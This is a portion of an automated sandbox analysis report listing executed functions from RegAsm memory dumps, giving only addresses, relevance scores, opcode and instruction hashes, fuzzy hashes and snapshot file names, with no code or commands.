                                                                                                                                          • Opcode ID: dfe72d0ecbe85516846e8b1bd921cd861ec0afae59afde475fb0deda35b995c8
                                                                                                                                          • Instruction ID: a04874ae59e28f45aa9e26614a0679b6a73d711bf967fb3efb495f3aef9f01c7
                                                                                                                                          • Opcode Fuzzy Hash: dfe72d0ecbe85516846e8b1bd921cd861ec0afae59afde475fb0deda35b995c8
                                                                                                                                          • Instruction Fuzzy Hash: A3213A31700B115FCA68AB79945817E7AE6BF842543108D2DD02A9B7E8DFB4DC0E8F82
                                                                                                                                          Function 013218A1 Relevance: .1, Instructions: 84COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: b46fbe03b12b57c5679aab3b0291a182dcc1e36beb35e5867a14aa53532f9f2b
                                                                                                                                          • Instruction ID: 51798bed3a18202d548affb21f2b36ed099cd77e9816b0ffaccd6d80dc93e8ab
                                                                                                                                          • Opcode Fuzzy Hash: b46fbe03b12b57c5679aab3b0291a182dcc1e36beb35e5867a14aa53532f9f2b
                                                                                                                                          • Instruction Fuzzy Hash: 5021A471B403159FCB48BBB9895827FBAEAEFD8310B10482ED44AD7395DD348C0947A1
                                                                                                                                          Function 013207FF Relevance: .1, Instructions: 78COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 66574c284781dd9ada3a66edccc8220386617aedcd79a4837fb51233012813a4
                                                                                                                                          • Instruction ID: c372cbc6d88214d9901ca307a2564c353bab02472aa46747d038d0f0cd67ceba
                                                                                                                                          • Opcode Fuzzy Hash: 66574c284781dd9ada3a66edccc8220386617aedcd79a4837fb51233012813a4
                                                                                                                                          • Instruction Fuzzy Hash: D3315E3454425A9FCB07FB68F9A09957BB1FF41708B064A66D0408B32EE774AA4ECB80
                                                                                                                                          Function 01321781 Relevance: .1, Instructions: 75COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 051c8c038f99a7463c69da2763ce9836895b59fed40ae5d413be63bf78ee5790
                                                                                                                                          • Instruction ID: 310eaa21baeea744f1d4d0882fb152512be53dc9d295967e8249319eb6c874d1
                                                                                                                                          • Opcode Fuzzy Hash: 051c8c038f99a7463c69da2763ce9836895b59fed40ae5d413be63bf78ee5790
                                                                                                                                          • Instruction Fuzzy Hash: 55315274910309DFCB45EFB8E894AAEBBB1FF84300F104979D005A7354EB719985CB51
                                                                                                                                          Function 01321790 Relevance: .1, Instructions: 70COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 3bfc40ff06bd5327afe2f21c0374879125e1b1a55d7989383dc21f3a6edcfdd6
                                                                                                                                          • Instruction ID: 31ef780fc0d809842fb3521d5abc2d3b6565fc8fd99026f332bcd62ad8d77953
                                                                                                                                          • Opcode Fuzzy Hash: 3bfc40ff06bd5327afe2f21c0374879125e1b1a55d7989383dc21f3a6edcfdd6
                                                                                                                                          • Instruction Fuzzy Hash: D621417491020DDFCB44FFB8E994AADBBB6FF84304F104969D005A7358EB719A85CB51
                                                                                                                                          Function 01320838 Relevance: .1, Instructions: 61COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 28df516e16af34200c0be3ca6a486d6ea83ca4a21e760ee4abb645f27eaef5d9
                                                                                                                                          • Instruction ID: b95bce66d44820da3cdb179fd1b6afe6e48fb62c0e0988b95e1b158ce03cecc5
                                                                                                                                          • Opcode Fuzzy Hash: 28df516e16af34200c0be3ca6a486d6ea83ca4a21e760ee4abb645f27eaef5d9
                                                                                                                                          • Instruction Fuzzy Hash: 3B218C7454424E9FCB02FF68F9A4945BBB6FB45704B029A75D0048B22DE770AE49CF80
                                                                                                                                          Function 01320848 Relevance: .1, Instructions: 53COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000028.00000002.2175945932.0000000001320000.00000040.00000800.00020000.00000000.sdmp, Offset: 01320000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_40_2_1320000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 2cdc49a828a80b4385077ae7283b004e6cf564ce06c1219cc22795cdfde8e2ca
                                                                                                                                          • Instruction ID: 4d2d45b11e3097f1d9ba418122add8d1d006f122901d68a61d570245eb290ea3
                                                                                                                                          • Opcode Fuzzy Hash: 2cdc49a828a80b4385077ae7283b004e6cf564ce06c1219cc22795cdfde8e2ca
                                                                                                                                          • Instruction Fuzzy Hash: F9215B7455024FAFCB06FF68FAA4A55BBB6FB44704B029A7590048B32DD770AA4DDF80

                                                                                                                                          Executed Functions

                                                                                                                                          Function 056C0959 Relevance: 1.3, Strings: 1, Instructions: 69COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: Hbq
                                                                                                                                          • API String ID: 0-1245868
                                                                                                                                          • Opcode ID: b5e84046dbb8a4325c3bbd3ccfe41d5f8ef24362bca8295f9d6f9ea6345c5681
                                                                                                                                          • Instruction ID: 899983f96405dabfa6d65b88baaf0960ba7a23ab12b822116d13084d395a8519
                                                                                                                                          • Opcode Fuzzy Hash: b5e84046dbb8a4325c3bbd3ccfe41d5f8ef24362bca8295f9d6f9ea6345c5681
                                                                                                                                          • Instruction Fuzzy Hash: 43216A30E05208DFCB58EBB895596AE7FF1FF85210F1485AAC4099B785DA348D15CB81
                                                                                                                                          Function 056C0CE9 Relevance: .6, Instructions: 579COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 0245356dad1f383573fe41f4e49a9d60db42775d9a63ebc09b5767a38c45805a
                                                                                                                                          • Instruction ID: cd55b3f14e2b5ddfa10aa96acfdf28a813a9a7f0ce0e8baa29f7bbaded72fbd3
                                                                                                                                          • Opcode Fuzzy Hash: 0245356dad1f383573fe41f4e49a9d60db42775d9a63ebc09b5767a38c45805a
                                                                                                                                          • Instruction Fuzzy Hash: 28610B70A002418FCB18AF78E55856D7BE7FB982447014A39D4279F3A8EF78AD49DBC1
                                                                                                                                          Function 056C1030 Relevance: .3, Instructions: 252COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: c5783f1a6738cb524ff4f0eb26258a7980c03c11eee49f96552c5716f96594fa
                                                                                                                                          • Instruction ID: 4b2f983d265e322818c8fad851cccd3673fec2f36707b0237d0e11a982a5e903
                                                                                                                                          • Opcode Fuzzy Hash: c5783f1a6738cb524ff4f0eb26258a7980c03c11eee49f96552c5716f96594fa
                                                                                                                                          • Instruction Fuzzy Hash: DB913F70B002058FCB18AF78E55866E7BE3FB88214B114938D5279F3A9DF789D499B81
                                                                                                                                          Function 056C175B Relevance: .1, Instructions: 88COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 7e307c593f370d617abf58bb5fac9ee6887e21cab7884a5439896b9acb9b3fa7
                                                                                                                                          • Instruction ID: 684884502ae9c756f9a737ec889b6fd46e8d93041a275974de43a4ee0649f1d4
                                                                                                                                          • Opcode Fuzzy Hash: 7e307c593f370d617abf58bb5fac9ee6887e21cab7884a5439896b9acb9b3fa7
                                                                                                                                          • Instruction Fuzzy Hash: 6E318F74900309DFCB05EF78D9846AE7FB1FB85300F1485A9E402A7365DB78A985CB91
                                                                                                                                          Function 056C11B5 Relevance: .1, Instructions: 86COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: d773057dc00add976b9aab2e5b200264a7c03298c8ad187a91eb81ed1c702899
                                                                                                                                          • Instruction ID: d835c64936f3016857e62cc0ff45fcab60755ecc8addf02afcf25882da459f0d
                                                                                                                                          • Opcode Fuzzy Hash: d773057dc00add976b9aab2e5b200264a7c03298c8ad187a91eb81ed1c702899
                                                                                                                                          • Instruction Fuzzy Hash: AF213A71B00B015FCA68AF79955817E7AE6BF842643108D2DD02A8F7A4DF74DD0A8FC2
                                                                                                                                          Function 056C18A1 Relevance: .1, Instructions: 79COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: afc555a4844df479783f77854338eabde396446625a9774d153f61132b22ad22
                                                                                                                                          • Instruction ID: 5727d0ef8636999c3cd1bc76242f1e4e96e7a601a2c1c25aa9459ad442181606
                                                                                                                                          • Opcode Fuzzy Hash: afc555a4844df479783f77854338eabde396446625a9774d153f61132b22ad22
                                                                                                                                          • Instruction Fuzzy Hash: B72184B1F002069FCB58ABBD895832F79EAFFC9250B14882DD55ADB394DD349C0587A2
                                                                                                                                          Function 056C1790 Relevance: .1, Instructions: 70COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 6cd436cad04b004bff20a6ce63a1129190f5ea4f8d78db1cebc7157e013d35d8
                                                                                                                                          • Instruction ID: a9a5e340d00d2d4ab472c558e843e1957eea560d9eebe5d0e596034da2ba438d
                                                                                                                                          • Opcode Fuzzy Hash: 6cd436cad04b004bff20a6ce63a1129190f5ea4f8d78db1cebc7157e013d35d8
                                                                                                                                          • Instruction Fuzzy Hash: 37212E70A00209DFCB04EFB8D9446ADBBB6FF84300F108579E406BB354EB789A85CB91
                                                                                                                                          Function 056C0838 Relevance: .1, Instructions: 58COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: a1cb45f4142649a46669107e15b1eb7f6a919e50b92441eec460bd1290352159
                                                                                                                                          • Instruction ID: 22acd129fde5dc2923021ddc03d77690fa6184971aff1e369bbce90a112d33cc
                                                                                                                                          • Opcode Fuzzy Hash: a1cb45f4142649a46669107e15b1eb7f6a919e50b92441eec460bd1290352159
                                                                                                                                          • Instruction Fuzzy Hash: ED21A870540256DFCB01FF2CFA90A45B7A6FB40304B0096B9D406AB229E77CAD8E9FC1
                                                                                                                                          Function 056C0848 Relevance: .1, Instructions: 53COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000030.00000002.2319258214.00000000056C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056C0000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_48_2_56c0000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: e34b1de5d33c71ae22c85d4299b8a3ed90714dc0791e8f11ab275716b6b01ce0
                                                                                                                                          • Instruction ID: c4e7f596ee2fad15f1a99f3c2c2483242ee0e57af4924533c19b1d75dd8491eb
                                                                                                                                          • Opcode Fuzzy Hash: e34b1de5d33c71ae22c85d4299b8a3ed90714dc0791e8f11ab275716b6b01ce0
                                                                                                                                          • Instruction Fuzzy Hash: AE214570650256DFCB05FF2CFA90A45B7A6F744304B0096B8D406AB269E77CAD8E9FC1

                                                                                                                                          Executed Functions

                                                                                                                                          Function 015119E6 Relevance: 2.0, Strings: 1, Instructions: 766COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: dbq
                                                                                                                                          • API String ID: 0-1887291361
                                                                                                                                          • Opcode ID: 716cdc2d359970a23cbadc94d760f68254742dac3dab95f328fe2fb52c68ff77
                                                                                                                                          • Instruction ID: e278117be85b4f6c7516ec32d30754d6be0d1ce16128a35ab9a7c14fcaf7c19f
                                                                                                                                          • Opcode Fuzzy Hash: 716cdc2d359970a23cbadc94d760f68254742dac3dab95f328fe2fb52c68ff77
                                                                                                                                          • Instruction Fuzzy Hash: DF411831B042418FDB0AAF79949066E7BE6FFC4204B1488AED185DF399DE349C068792
                                                                                                                                          Function 01510959 Relevance: 1.3, Strings: 1, Instructions: 70COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Strings
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID: Hbq
                                                                                                                                          • API String ID: 0-1245868
                                                                                                                                          • Opcode ID: b825a0a827a6dd1acfb8ec190e0e6780c55ecd8dbd8b2ef7f28404d5b66b8e72
                                                                                                                                          • Instruction ID: 373fa4cb8eff31443a0316d501e167c0bc7b18faf3bb934fa6652d1e5f7f410a
                                                                                                                                          • Opcode Fuzzy Hash: b825a0a827a6dd1acfb8ec190e0e6780c55ecd8dbd8b2ef7f28404d5b66b8e72
                                                                                                                                          • Instruction Fuzzy Hash: F021AC30E042488FCB94EFB884656AE7FF5FF85200F1581AEC449AB295DA309E45CB85
                                                                                                                                          Function 01511030 Relevance: .3, Instructions: 253COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: fc78df893b96b1feb2623b76091ee091920cafe2b3f43aff3bf1c5b09d579331
                                                                                                                                          • Instruction ID: d10bca81ab5ccb28c2cf7304230b5d58b0cfd236881f598dc2bdc26ca44d3b25
                                                                                                                                          • Opcode Fuzzy Hash: fc78df893b96b1feb2623b76091ee091920cafe2b3f43aff3bf1c5b09d579331
                                                                                                                                          • Instruction Fuzzy Hash: C4915070B002059FDB54AF79E55856E7BA2FF84205B108939E446AB3B8DF74AC05CF82
                                                                                                                                          Function 01511026 Relevance: .2, Instructions: 166COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 5c16fb42a41d7401832c41ad077ed58813337b182590c69ce15b79ea9583150d
                                                                                                                                          • Instruction ID: ba2cc6947b462fa49e0fc01c33fb86bacae33502dcaeb37d723b6fa729b20fb3
                                                                                                                                          • Opcode Fuzzy Hash: 5c16fb42a41d7401832c41ad077ed58813337b182590c69ce15b79ea9583150d
                                                                                                                                          • Instruction Fuzzy Hash: B1613170A002018FDB55AF79E55856DBBB6FF942057008A3DD446AB3B8DF78AC49CF82
                                                                                                                                          Function 015118A1 Relevance: .1, Instructions: 121COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: 50e5bbaa9d1028f9e05994870729ce77754ec6e481a23e433092f7533f1aa604
                                                                                                                                          • Instruction ID: 635af6a492044dee091012d1f94a7ef8c072f8c8893abe1e511c2a848c0db886
                                                                                                                                          • Opcode Fuzzy Hash: 50e5bbaa9d1028f9e05994870729ce77754ec6e481a23e433092f7533f1aa604
                                                                                                                                          • Instruction Fuzzy Hash: 92316F71B006049FDB05BB7989842AF7BEEFFD4220B10486AC59ADB35EDE314C0687A1
                                                                                                                                          Function 015111B5 Relevance: .1, Instructions: 86COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: cf7093367b2973d51e2b0bb9aea290922b8716c105661865e87b4911cd458880
                                                                                                                                          • Instruction ID: 966256a9155672913bfa4d7c683a81ad8b6c598321fa0764609c6edbcc653227
                                                                                                                                          • Opcode Fuzzy Hash: cf7093367b2973d51e2b0bb9aea290922b8716c105661865e87b4911cd458880
                                                                                                                                          • Instruction Fuzzy Hash: E0217F71700B015FCB59AF7E841406E76E6BF842543108D2DD02A8B7A8DF75EC0A8F92
                                                                                                                                          Function 01511790 Relevance: .1, Instructions: 70COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: c0dd524da32bbcc7e3dcf64a55e0dcf2765d9bd1118cefc51f1207852c38efce
                                                                                                                                          • Instruction ID: c60c404e2d9967d19a5b6ef32ca7e7d6cbf9c5dc7618c0a6955239aca7c008a9
                                                                                                                                          • Opcode Fuzzy Hash: c0dd524da32bbcc7e3dcf64a55e0dcf2765d9bd1118cefc51f1207852c38efce
                                                                                                                                          • Instruction Fuzzy Hash: A1212D70D002099FDB05EFB8D994A9DBBB6FF84304F108579D405BB354EB789A85CB52
                                                                                                                                          Function 01510838 Relevance: .1, Instructions: 62COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: b2da92963476ffdca568c6228968f9b757c045ac44a5ce856e3eb7f2d821c335
                                                                                                                                          • Instruction ID: 3e1e7eee07eeb68893f3a66d66be0f895c0a06a96eda7b31381d119044e54e8c
                                                                                                                                          • Opcode Fuzzy Hash: b2da92963476ffdca568c6228968f9b757c045ac44a5ce856e3eb7f2d821c335
                                                                                                                                          • Instruction Fuzzy Hash: 6221AC709502469FDB01EF28F980A55BBB5FB44304B0096B9D404BB329D77CAD4ADF83
                                                                                                                                          Function 01510848 Relevance: .1, Instructions: 53COMMON
                                                                                                                                          Download Yara Rule
                                                                                                                                          Memory Dump Source
                                                                                                                                          • Source File: 00000038.00000002.2422335983.0000000001510000.00000040.00000800.00020000.00000000.sdmp, Offset: 01510000, based on PE: false
                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                          • Snapshot File: hcaresult_56_2_1510000_RegAsm.jbxd
                                                                                                                                          Similarity
                                                                                                                                          • API ID:
                                                                                                                                          • String ID:
                                                                                                                                          • API String ID:
                                                                                                                                          • Opcode ID: a2aeb5e58c3099fae6b206c51e793cde9da7048b2ca38565315450b6cbe4cf01
                                                                                                                                          • Instruction ID: e23fcda68cfcc75dbbf2a95dfda4808361ca822700fe0da21a0ec3c3fc4ba309
                                                                                                                                          • Opcode Fuzzy Hash: a2aeb5e58c3099fae6b206c51e793cde9da7048b2ca38565315450b6cbe4cf01
                                                                                                                                          • Instruction Fuzzy Hash: CC212B70951246DFDB01EF28FA84A55BBA5F744304B1096B89404BB329E77CAD4DDF83